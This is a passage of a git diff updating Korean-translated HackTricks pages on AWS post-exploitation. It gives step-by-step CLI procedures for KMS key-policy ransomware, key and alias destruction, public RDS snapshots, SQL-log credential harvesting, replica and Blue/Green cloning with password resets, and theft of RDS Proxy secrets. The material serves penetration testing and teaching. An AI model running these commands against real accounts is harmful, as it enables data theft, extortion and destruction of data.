없게 되어, 계정에 대해 쉽지만 효과적인 ransomware가 발생합니다. + +> [!WARNING] +> 참고: **AWS managed keys aren't affected** by this attack, only **Customer managed keys**. + +> 또한 파라미터 **`--bypass-policy-lockout-safety-check`**의 사용이 필요하다는 점에 유의하세요(이 옵션이 web console에는 없기 때문에 이 공격은 CLI에서만 가능하게 됩니다). +```bash +# Force policy change +aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check + +{ +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] +} +``` +> [!CAUTION] +> 정책을 변경하여 외부 계정에만 액세스를 허용한 경우, 해당 외부 계정에서 새 정책을 설정해 **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**. + +
+ +### Generic KMS Ransomware + +global KMS Ransomware를 수행하는 또 다른 방법이 있으며, 다음 단계들을 포함합니다: + +- 공격자가 가져온 **key with a key material**로 새 키를 생성 +- 피해자의 이전 버전으로 암호화된 오래된 데이터를 새 키로 **Re-encrypt older data** +- **Delete the KMS key** +- 이제 원본 key material을 가진 공격자만 암호화된 데이터를 복호화할 수 있게 됨 + +### Delete Keys via kms:DeleteImportedKeyMaterial + +`kms:DeleteImportedKeyMaterial` 권한이 있으면, 행위자는 `Origin=EXTERNAL`인 CMKs에서 imported key material을 삭제할 수 있습니다 (CMKs that have imperted their key material). 이로 인해 해당 CMK로는 데이터를 복호화할 수 없게 됩니다. 이 동작은 파괴적이고 되돌릴 수 없으며, 호환되는 material이 재임포트되지 않는 한 복구할 수 없습니다. 따라서 공격자는 암호화된 정보를 영구적으로 접근 불가능하게 만들어 ransomware-like 데이터 손실을 초래할 수 있습니다. +```bash +aws kms delete-imported-key-material --key-id +``` +### Destroy keys + +키를 파괴하면 DoS를 수행할 수 있습니다. +```bash +# Schedule the destoy of a key (min wait time is 7 days) +aws kms schedule-key-deletion \ +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 +``` +> [!CAUTION] +> AWS는 이제 **교차 계정에서 이전 작업들이 수행되지 않도록 차단합니다:** + +### Alias 변경 또는 삭제 +이 공격은 AWS KMS aliases를 삭제하거나 리다이렉트하여 키 해석을 깨뜨리고 해당 aliases에 의존하는 서비스들에서 즉시 실패를 발생시켜 denial-of-service를 초래합니다. `kms:DeleteAlias` 또는 `kms:UpdateAlias` 같은 권한을 가진 공격자는 aliases를 제거하거나 다른 대상으로 재지정하여 암호화 작업(예: encrypt, describe)을 방해할 수 있습니다. alias 대신 key ID를 참조하는 서비스는 alias가 복원되거나 올바르게 재매핑될 때까지 실패할 수 있습니다. +```bash +# Delete Alias +aws kms delete-alias --alias-name alias/ + +# Update Alias +aws kms update-alias \ +--alias-name alias/ \ +--target-key-id +``` +### 키 삭제 취소 +`kms:CancelKeyDeletion` 및 `kms:EnableKey` 같은 권한을 가진 사용자는 AWS KMS customer master key의 예약 삭제를 취소하고 이후 재활성화할 수 있습니다. 이렇게 하면 키가 복구되어(초기에는 Disabled 상태) 이전에 보호된 데이터를 복호화할 수 있게 되고, exfiltration이 가능해집니다. +```bash +# Firts cancel de deletion +aws kms cancel-key-deletion \ +--key-id + +## Second enable the key +aws kms enable-key \ +--key-id +``` +### Disable Key +`kms:DisableKey` 권한이 있으면 행위자는 AWS KMS customer master key를 비활성화할 수 있으며, 이로 인해 해당 키를 이용한 encryption 또는 decryption이 불가능해집니다. 이는 해당 CMK에 의존하는 모든 서비스의 접근을 차단하여 키가 다시 활성화될 때까지 즉각적인 중단이나 denial-of-service를 초래할 수 있습니다. +```bash +aws kms disable-key \ +--key-id +``` +### Derive Shared Secret +`kms:DeriveSharedSecret` 권한이 있으면, 행위자는 KMS에 보관된 개인 키와 사용자가 제공한 공개 키를 사용하여 ECDH 공유 비밀을 계산할 수 있다. +```bash +aws kms derive-shared-secret \ +--key-id \ +--public-key fileb:/// \ +--key-agreement-algorithm +``` +### Impersonation via kms:Sign +`kms:Sign` 권한이 있으면, 행위자는 KMS에 저장된 CMK를 사용해 개인 키를 노출하지 않고도 데이터를 암호학적으로 서명할 수 있으며, 이는 유효한 서명을 생성해 impersonation을 가능하게 하거나 악의적인 동작을 승인할 수 있습니다. +```bash +aws kms sign \ +--key-id \ +--message fileb:// \ +--signing-algorithm \ +--message-type RAW +``` +### DoS with Custom Key Stores +`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, 또는 `kms:UpdateCustomKeyStore` 같은 권한을 가진 경우, 행위자는 AWS KMS Custom Key Store (CKS)를 수정, 분리 또는 삭제하여 해당 마스터 키를 작동 불능으로 만들 수 있습니다. 이는 해당 키에 의존하는 서비스들의 암호화, 복호화 및 서명 작업을 중단시키고 즉각적인 denial-of-service를 일으킬 수 있습니다. 따라서 이러한 권한을 제한하고 모니터링하는 것이 매우 중요합니다. +```bash +aws kms delete-custom-key-store --custom-key-store-id + +aws kms disconnect-custom-key-store --custom-key-store-id + +aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md deleted file mode 100644 index 8a60b51d3..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - Lightsail Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### 이전 DB 스냅샷 복원 - -DB에 스냅샷이 있는 경우, **이전 스냅샷에서 현재 삭제된 민감한 정보를 찾을 수 있습니다**. **스냅샷을 새로운 데이터베이스에 복원**하고 확인하세요. - -### 인스턴스 스냅샷 복원 - -인스턴스 스냅샷에는 이미 삭제된 인스턴스의 **민감한 정보** 또는 현재 인스턴스에서 삭제된 민감한 정보가 포함될 수 있습니다. **스냅샷에서 새로운 인스턴스를 생성**하고 확인하세요.\ -또는 **스냅샷을 EC2의 AMI로 내보내고** 일반적인 EC2 인스턴스의 단계를 따르세요. - -### 민감한 정보 접근 - -Lightsail privesc 옵션을 확인하여 잠재적인 민감한 정보에 접근하는 다양한 방법을 알아보세요: - -{{#ref}} -../aws-privilege-escalation/aws-lightsail-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md new file mode 100644 index 000000000..2a6af29ef --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md @@ -0,0 +1,30 @@ +# AWS - Lightsail Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +For more information, check: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### 이전 DB snapshots 복원 + +DB에 snapshots가 있는 경우, 이전 snapshots에서 현재 삭제된 민감한 정보를 **찾을 수 있습니다**. 스냅샷을 **Restore**하여 **새 데이터베이스**에 적용하고 확인하세요. + +### 인스턴스 snapshots 복원 + +인스턴스 snapshots에는 이미 삭제된 인스턴스의 **민감한 정보** 또는 현재 인스턴스에서 삭제된 민감한 정보가 포함되어 있을 수 있습니다. **snapshots에서 새로운 인스턴스를 생성**하고 확인하세요.\ +또는 **스냅샷을 EC2의 AMI로 내보낸 후** 일반적인 EC2 인스턴스 절차를 따르세요. + +### 민감한 정보 접근 + +잠재적 민감한 정보에 접근하는 다양한 방법을 알아보려면 Lightsail privesc 옵션을 확인하세요: + +{{#ref}} +../../aws-privilege-escalation/aws-lightsail-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md similarity index 58% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md index d5a4dc883..23fc0d461 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md @@ -1,17 +1,17 @@ # AWS - Organizations Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Organizations AWS Organizations에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} -../aws-services/aws-organizations-enum.md +../../aws-services/aws-organizations-enum.md {{#endref}} -### Leave the Org +### Org에서 탈퇴 ```bash aws organizations deregister-account --account-id --region ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md similarity index 71% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index ca3c795a8..4d9bc3d0b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - RDS Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS -자세한 내용은 다음을 확인하세요: +자세한 정보는 다음을 확인하세요: {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -공격자가 충분한 권한을 가지고 있다면, DB의 스냅샷을 생성한 뒤 해당 스냅샷으로부터 **DB를 공개적으로 접근 가능하도록** 생성할 수 있습니다. +공격자가 충분한 권한을 가지고 있다면, DB의 스냅샷을 생성한 뒤 그 스냅샷으로부터 공개적으로 접근 가능한 DB를 생성하여 **DB를 공개적으로 접근 가능하게** 만들 수 있습니다. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -이 권한을 가진 공격자는 **DB의 스냅샷을 생성**하고 이를 **공개적으로** **사용 가능하게** 만들 수 있습니다. 그런 다음 자신의 계정에서 해당 스냅샷으로부터 DB를 생성할 수 있습니다. +이 권한이 있으면 공격자는 **DB의 스냅샷을 생성**하고 이를 **공개적으로 이용 가능**하게 만들 수 있다. 그런 다음 자신의 계정에서 그 스냅샷으로부터 DB를 생성할 수 있다. -만약 공격자가 **`rds:CreateDBSnapshot` 권한이 없다면**, 그는 여전히 **다른** 생성된 스냅샷을 **공개**로 만들 수 있습니다. +공격자에게 `rds:CreateDBSnapshot` 권한이 **없더라도**, 다른 생성된 스냅샷을 **공개**로 만들 수 있다. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,48 +53,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -`rds:DownloadDBLogFilePortion` 권한이 있는 공격자는 **RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다**. 민감한 데이터나 액세스 자격 증명이 실수로 로그에 기록된 경우, 공격자는 이 정보를 이용해 권한을 승격하거나 무단으로 작업을 수행할 수 있습니다. +`rds:DownloadDBLogFilePortion` 권한이 있는 공격자는 **RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다**. 민감한 데이터나 access credentials가 실수로 로그에 기록되면, 공격자는 이 정보를 이용해 권한을 상승시키거나 무단으로 조치를 취할 수 있습니다. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Potential Impact**: 민감한 정보에 접근하거나 leaked credentials를 사용해 무단으로 조치를 취할 수 있습니다. +**잠재적 영향**: leaked credentials를 사용하여 민감한 정보에 접근하거나 무단으로 조치를 수행할 수 있습니다. ### `rds:DeleteDBInstance` -이 권한을 가진 공격자는 **기존 RDS 인스턴스에 대해 DoS를 수행할 수 있습니다**. +해당 권한을 가진 공격자는 **기존 RDS 인스턴스에 대해 DoS를 수행할 수 있습니다**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**잠재적 영향**: 기존 RDS 인스턴스 삭제 및 잠재적인 데이터 손실. +**잠재적 영향**: 기존 RDS 인스턴스 삭제 및 데이터 손실 가능성. ### `rds:StartExportTask` > [!NOTE] > TODO: 테스트 -이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어하는 경우, 내보낸 스냅샷 내의 민감한 데이터에 접근할 수 있습니다. +이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어할 수 있는 경우, 내보낸 스냅샷 내에 있는 민감한 데이터에 접근할 수 있습니다. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` **Potential impact**: 내보낸 스냅샷의 민감한 데이터에 대한 접근. -### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) +### 스텔스 복원을 위한 리전 간 자동 백업 복제 (`rds:StartDBInstanceAutomatedBackupsReplication`) -Cross-Region automated backups replication을 악용해 RDS 인스턴스의 자동 백업을 다른 AWS Region으로 조용히 복제하고 해당 Region에서 복원할 수 있습니다. 공격자는 복원된 DB를 공개적으로 접근 가능하게 만들고 마스터 비밀번호를 재설정하여 방어자가 모니터링하지 않을 수 있는 Region에서 out-of-band로 데이터를 접근할 수 있습니다. +리전 간 자동 백업 복제를 악용해 RDS 인스턴스의 자동 백업을 다른 AWS 리전으로 조용히 복제하고 그곳에서 복원합니다. 공격자는 복원된 DB를 공개적으로 접근 가능하게 만들고 마스터 암호를 재설정해 수비자가 모니터링하지 않을 수 있는 리전에서 오프-밴드로 데이터를 획득할 수 있습니다. Permissions needed (minimum): -- `rds:StartDBInstanceAutomatedBackupsReplication` (대상 Region에서) -- `rds:DescribeDBInstanceAutomatedBackups` (대상 Region에서) -- `rds:RestoreDBInstanceToPointInTime` (대상 Region에서) -- `rds:ModifyDBInstance` (대상 Region에서) +- `rds:StartDBInstanceAutomatedBackupsReplication` 대상 리전에서 +- `rds:DescribeDBInstanceAutomatedBackups` 대상 리전에서 +- `rds:RestoreDBInstanceToPointInTime` 대상 리전에서 +- `rds:ModifyDBInstance` 대상 리전에서 - `rds:StopDBInstanceAutomatedBackupsReplication` (선택적 정리) - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (복원된 DB를 노출하기 위해) -영향: Persistence 및 data exfiltration — 운영 데이터 사본을 다른 Region에 복원하고 공격자 제어 자격증명으로 공개적으로 노출함으로써 발생할 수 있습니다. +Impact: 프로덕션 데이터 사본을 다른 리전으로 복원하고 공격자가 제어하는 자격증명으로 공개 노출함으로써 지속성 확보 및 데이터 유출.
-End-to-end CLI (플레이스홀더 교체) +엔드투엔드 CLI (플레이스홀더 교체) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
-### DB parameter groups를 통해 전체 SQL 로깅을 활성화하고 RDS log APIs를 통해 exfiltrate +### DB parameter groups를 통해 전체 SQL 로깅을 활성화하고 RDS log APIs로 exfiltrate -`rds:ModifyDBParameterGroup` 권한을 악용하여 RDS log download APIs로 애플리케이션이 실행한 모든 SQL 문을 캡처할 수 있습니다 (DB 엔진 자격 증명 불필요). 엔진 SQL 로깅을 활성화하고 파일 로그를 `rds:DescribeDBLogFiles` 및 `rds:DownloadDBLogFilePortion` (또는 REST `downloadCompleteLogFile`)로 가져옵니다. 비밀/PII/JWTs가 포함될 수 있는 쿼리 수집에 유용합니다. +`rds:ModifyDBParameterGroup`을 RDS log download APIs와 함께 악용하여 애플리케이션에서 실행된 모든 SQL 문을 캡처합니다 (DB 엔진 자격증명 불필요). 엔진 SQL 로깅을 활성화하고 파일 로그를 `rds:DescribeDBLogFiles`와 `rds:DownloadDBLogFilePortion`(또는 REST `downloadCompleteLogFile`)으로 가져옵니다. secrets/PII/JWTs가 포함될 수 있는 쿼리를 수집하는 데 유용합니다. Permissions needed (minimum): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (인스턴스가 기본 파라미터 그룹을 사용 중인 경우 커스텀 파라미터 그룹을 연결하기 위한 용도) -- `rds:RebootDBInstance` (재부팅이 필요한 파라미터의 경우, 예: PostgreSQL) +- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one) +- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL) Steps -1) Recon 대상과 현재 파라미터 그룹 조사 +1) Recon 대상과 현재 파라미터 그룹 확인 ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) 사용자 지정 DB 파라미터 그룹이 연결되어 있는지 확인하세요(기본값은 편집할 수 없음) -- 인스턴스가 이미 사용자 지정 그룹을 사용 중이면 다음 단계에서 해당 이름을 재사용하세요. -- 그렇지 않으면 엔진 계열에 맞는 그룹을 생성하여 연결하세요: +2) custom DB parameter group가 연결되어 있는지 확인하세요 (default는 편집할 수 없습니다) +- 인스턴스가 이미 custom group을 사용 중이라면, 다음 단계에서 해당 이름을 재사용하세요. +- 그렇지 않다면 engine family에 맞는 custom DB parameter group을 생성하고 연결하세요: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -197,7 +197,7 @@ aws rds modify-db-instance \ # Wait until status becomes "available" ``` 3) 자세한 SQL 로깅 활성화 -- MySQL 엔진 (즉시 / 재부팅 불필요): +- MySQL engines (즉시 / 재부팅 불필요): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- PostgreSQL 엔진(재부팅 필요): +- PostgreSQL 엔진 (재부팅 필요): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) 워크로드를 실행하거나(또는 쿼리를 생성) 실행되도록 둡니다. 쿼리 문장은 엔진 파일 로그에 기록됩니다 +4) 워크로드를 실행(또는 쿼리를 생성). 쿼리는 엔진 파일 logs에 기록됩니다 - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) 로그를 찾아 다운로드합니다 (no DB creds required) +5) logs를 찾아 다운로드합니다 (no DB creds required) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -239,14 +239,14 @@ aws rds download-db-log-file-portion \ ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` -예시 증거(편집됨): +예시 증거 (편집됨): ```text 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` 정리 -- 매개변수를 기본값으로 되돌리고 필요 시 재부팅: +- 필요하면 매개변수를 기본값으로 되돌리고 재부팅하세요: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -영향: Post-exploitation 데이터 접근 — AWS APIs를 통해 모든 애플리케이션 SQL 문을 캡처(no DB creds), potentially leaking secrets, JWTs, and PII. +영향: Post-exploitation 단계에서 AWS APIs를 통해 모든 애플리케이션 SQL 문을 캡처하여 데이터에 접근할 수 있습니다 (no DB creds), 잠재적으로 secrets, JWTs, 및 PII를 leak할 수 있습니다. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -RDS read replicas를 악용하면 primary 인스턴스의 자격증명을 건드리지 않고도 out-of-band 읽기 접근을 얻을 수 있다. An attacker는 production 인스턴스에서 read replica를 생성하고, replica의 master password를 재설정할 수 있다(이는 primary를 변경하지 않음). 선택적으로 replica를 public으로 노출시켜 데이터를 exfiltrate할 수도 있다. +RDS read replicas를 악용하여 primary instance credentials를 건드리지 않고도 out-of-band 읽기 접근을 얻을 수 있습니다. 공격자는 production 인스턴스로부터 read replica를 생성하고, replica의 master password를 재설정(이 경우 primary는 변경되지 않음)한 뒤, 선택적으로 replica를 public으로 노출시켜 데이터를 exfiltrate할 수 있습니다. -필요 권한(최소): +Permissions needed (minimum): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) -영향: attacker가 제어하는 자격증명을 가진 replica를 통해 production 데이터에 대한 읽기 전용 접근; primary가 건드려지지 않고 복제가 계속되므로 탐지 가능성이 낮음. +영향: 공격자가 제어하는 credentials로 구성된 replica를 통해 production 데이터에 대한 읽기 전용 접근을 얻을 수 있으며; primary는 건드리지 않고 replication이 계속되므로 탐지 가능성은 낮아집니다. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -304,13 +304,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # Optional: promote for persistence # aws rds promote-read-replica --db-instance-identifier ``` -예시 증거 (MySQL): -- 복제 DB 상태: `available`, 읽기 복제: `replicating` -- 새 비밀번호로 성공적으로 연결되었고 `@@read_only=1`로 읽기 전용 레플리카 접근 확인 +증거 예시 (MySQL): +- 레플리카 DB 상태: `available`, read replication: `replicating` +- 새 비밀번호로의 연결 성공 및 `@@read_only=1`로 읽기 전용 레플리카 접근이 확인됨. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -RDS Blue/Green을 악용해 production DB를 지속적으로 복제되는 읽기 전용 green 환경으로 클론한다. 그런 다음 blue (prod) 인스턴스를 건드리지 않고 green 마스터 자격증명을 재설정해 데이터에 접근한다. 이는 스냅샷 공유보다 은밀하며 소스만 모니터링하는 감시를 자주 우회한다. +RDS Blue/Green을 악용하여 프로덕션 DB를 지속적으로 복제되는 읽기 전용 green 환경으로 클론합니다. 그런 다음 green 마스터 자격 증명을 재설정하여 blue (prod) 인스턴스를 건드리지 않고 데이터에 접근합니다. 이는 snapshot sharing보다 은밀하며, 종종 소스만을 모니터링하는 감시를 우회합니다. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,22 +357,21 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -영향: 프로덕션 인스턴스를 수정하지 않고 거의 실시간에 가까운 프로덕션 클론에 대해 읽기 전용이지만 전체 데이터 접근 권한을 얻습니다. 은밀한 데이터 추출과 오프라인 분석에 유용합니다. +영향: 읽기 전용이지만 프로덕션 인스턴스를 수정하지 않고 프로덕션의 거의 실시간 클론에 대한 전체 데이터 접근 권한을 가집니다. 은밀한 데이터 추출 및 오프라인 분석에 유용합니다. +### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password -### RDS Data API를 통한 아웃-오브-밴드 SQL by enabling HTTP endpoint + 마스터 비밀번호 재설정 +Aurora를 악용하여 대상 클러스터에서 RDS Data API HTTP endpoint를 활성화하고 마스터 암호를 공격자가 제어하는 값으로 재설정한 다음 HTTPS를 통해 SQL을 실행합니다(직접적인 VPC 네트워크 경로 불필요). Data API/EnableHttpEndpoint를 지원하는 Aurora 엔진에서 작동합니다(예: Aurora MySQL 8.0 provisioned; 일부 Aurora PostgreSQL/MySQL 버전). -타깃 클러스터에서 RDS Data API HTTP endpoint를 활성화하도록 Aurora를 악용하고, 마스터 비밀번호를 공격자가 제어하는 값으로 재설정한 뒤 HTTPS를 통해 SQL을 실행합니다(별도의 VPC 네트워크 경로 불필요). Data API/EnableHttpEndpoint를 지원하는 Aurora 엔진에서 동작합니다(예: Aurora MySQL 8.0 provisioned; 일부 Aurora PostgreSQL/MySQL 버전). - -Permissions (minimum): +권한(최소): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -영향: 네트워크 분할을 우회하고 DB에 대한 직접 VPC 연결 없이 AWS APIs를 통해 데이터를 유출(exfiltrate)합니다. +영향: 네트워크 분할을 우회하고 DB에 대한 직접 VPC 연결 없이 AWS APIs를 통해 데이터를 exfiltrate합니다.
-엔드-투-엔드 CLI (Aurora MySQL 예시) +엔드투엔드 CLI (Aurora MySQL 예시) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -424,22 +423,22 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ ```
-노트: -- rds-data가 다중 문장 SQL을 거부하면, execute-statement를 개별적으로 호출하세요. -- modify-db-cluster --enable-http-endpoint가 효과가 없는 엔진에서는 rds enable-http-endpoint --resource-arn를 사용하세요. -- 엔진/버전이 실제로 Data API를 지원하는지 확인하세요. 그렇지 않으면 HttpEndpointEnabled가 False로 남습니다. +참고: +- 다중 문장(SQL)이 `rds-data`에 의해 거부되면, 별도의 `execute-statement` 호출을 수행하세요. +- `modify-db-cluster --enable-http-endpoint`가 효과가 없는 엔진의 경우 `rds enable-http-endpoint --resource-arn`를 사용하세요. +- 엔진/버전이 실제로 Data API를 지원하는지 확인하세요; 그렇지 않으면 `HttpEndpointEnabled`가 False로 남습니다. -### RDS Proxy 인증 시크릿으로 DB 자격 증명 수집 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### RDS Proxy 인증 Secret을 통한 DB 자격 증명 수집 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -RDS Proxy 구성을 악용해 백엔드 인증에 사용되는 Secrets Manager 시크릿을 찾아낸 다음, 시크릿을 읽어 DB 자격 증명을 획득합니다. 많은 환경에서 `secretsmanager:GetSecretValue` 권한을 광범위하게 부여하므로 DB 자격 증명으로 전환하기 쉬운 경로가 됩니다. 시크릿이 CMK를 사용한다면, 잘못 범위 설정된 KMS 권한으로 `kms:Decrypt`도 가능할 수 있습니다. +RDS Proxy 구성을 악용해 백엔드 인증에 사용되는 Secrets Manager secret을 찾아낸 다음, 해당 secret을 읽어 데이터베이스 자격 증명을 획득합니다. 많은 환경이 광범위한 `secretsmanager:GetSecretValue` 권한을 부여하므로 DB 자격 증명으로의 전환이 용이합니다. Secret이 CMK를 사용하는 경우, 잘못 범위가 지정된 KMS 권한으로 `kms:Decrypt`도 허용될 수 있습니다. -필요 권한(최소): +Permissions needed (minimum): - `rds:DescribeDBProxies` - `secretsmanager:GetSecretValue` on the referenced SecretArn - Optional when the secret uses a CMK: `kms:Decrypt` on that key -영향: 프록시에 구성된 DB 사용자명/비밀번호가 즉시 노출되며, 직접 DB 접근 또는 추가적인 lateral movement가 가능해집니다. +Impact: 프록시에 구성된 DB 사용자명/비밀번호가 즉시 노출되며; 직접 DB 접근 또는 추가 lateral movement가 가능해집니다. 단계 ```bash @@ -473,7 +472,7 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ aws rds wait db-proxy-available --db-proxy-name p0 # Now run the enumeration + secret read from the Steps above ``` -정리 (실습) +정리 (랩) ```bash aws rds delete-db-proxy --db-proxy-name p0 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite @@ -482,7 +481,7 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet ``` ### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) -Aurora PostgreSQL zero‑ETL 통합을 악용해 운영 데이터를 자신이 제어하는 Redshift Serverless namespace로 지속적으로 복제합니다. 특정 Aurora cluster ARN에 대해 CreateInboundIntegration/AuthorizeInboundIntegration을 허용하는 관대한 Redshift resource policy가 있으면, 공격자는 DB creds, snapshots 또는 네트워크 노출 없이 거의 실시간으로 